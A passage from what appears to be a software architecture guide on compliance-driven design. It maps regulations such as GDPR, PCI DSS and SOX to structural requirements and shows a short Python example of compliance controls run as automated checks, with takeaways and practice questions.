3. Interview: A user withdraws analytics consent. What must happen, and how far does it reach? (Hint: think about queued jobs, third-party processors, and data already collected under the earlier consent.)

Compliance-Driven Architecture

Some regulatory requirements can be satisfied operationally — a policy, a process, a quarterly review. Others are structural, and attempting to satisfy them with process is how organizations end up in an eighteen-month remediation programme. Distinguishing the two early is the architectural skill.

The test is whether the requirement demands a capability the system either has or does not have. "Encrypt data at rest" is a configuration change. "Produce everything you hold about a person within 30 days" is a capability, and a system without a central subject identifier does not have it at any price short of a rewrite.

Requirement	Structural implication
Right to erasure / access	One subject ID across all stores; deletion fan-out
Data residency	Regional partitioning from the start
Audit trail of all access	Separate immutable log; read events captured
Retention limits	Per-record timestamps and automated purge jobs
Segregation of duties (SOX)	No single identity can both change and approve
PCI DSS scope reduction	Tokenization boundary; card data isolated
Breach notification within 72h	Detection and scoping capability, rehearsed
Explainable automated decisions	Store model version, inputs, and rationale

# Compliance as executable controls, not as a document. Each check maps to a
# named requirement and runs in CI or continuously against live configuration.
CONTROLS = [
    {
        "id": "GDPR-17", "requirement": "Right to erasure",
        "check": lambda env: env.has_capability("erase_subject")
                             and env.erasure_p95_days() < 30,
        "evidence": "erasure_runbook + last 100 request completion times",
    },
    {
        "id": "PCI-3.4", "requirement": "PAN unreadable wherever stored",
        "check": lambda env: env.scan_for_pan_patterns() == [],
        "evidence": "quarterly scan output",
    },
    {
        "id": "SOX-404", "requirement": "Segregation of duties on deploys",
        "check": lambda env: env.no_self_approved_prod_deploys(),
        "evidence": "deploy log with approver != author",
    },
    {
        "id": "SOC2-CC6.1", "requirement": "Least privilege access review",
        "check": lambda env: env.stale_grants(days=90) == [],
        "evidence": "access review records",
    },
]

def run_controls(env):
    failures = [c for c in CONTROLS if not c["check"](env)]
    for c in failures:
        alert(f"CONTROL FAILING {c['id']}: {c['requirement']}")
    return failures
# Continuous evidence beats an annual scramble: the audit becomes an export
# rather than a project, and drift is caught in days rather than at renewal.

Three design patterns recur across regimes and are worth reaching for deliberately:

Scope reduction. The cheapest way to satisfy a requirement is to have less in scope. Tokenizing card data confines PCI obligations to the vault (11.2); isolating health data in one service keeps the rest of the estate out of HIPAA scope. Ask what the boundary would have to be for most systems to fall outside it, then build that boundary.

Evidence by construction. Design so that normal operation produces the evidence an auditor needs — deploy logs with approvers, access logs with reasons, immutable audit trails — rather than reconstructing it later from memory and screenshots.

Policy as code. Encode requirements as automated checks in CI and in runtime configuration scanning, so violations are caught at the pull request rather than at the audit.

Two cautions. Compliance is a floor, not a ceiling: a system can be fully compliant and insecure, since regulation lags threats by years. And over-engineering for regulations you are not subject to is a real cost — determine which regimes actually apply to your data, sectors, and markets before designing for all of them. The right sequence is to identify applicable regimes, extract the structural requirements, design those in from the start, and automate the evidence.

Key Takeaways

• Separate structural requirements from operational ones; structural ones must be designed in and cannot be retrofitted cheaply.
• Reduce scope deliberately — tokenization and isolation keep most of the estate out of the strictest regimes.
• Generate evidence as a by-product of normal operation so audits become an export rather than a project.
• Encode controls as automated checks that run continuously, not as documents reviewed annually.
• Compliance is a floor, not security; and designing for regimes you are not subject to is a real and avoidable cost.

🧪 Practice

1. List the regimes that apply to a system you know and mark each requirement as structural or operational.
2. Write three automated compliance checks with the evidence each produces, and run them against a real environment.
3. Interview: How would you reduce PCI scope for an e-commerce platform? (Hint: think about which systems ever need to see a real card number, and what could stand in for it everywhere else.)

---

<a id="12-observability-and-operations"></a>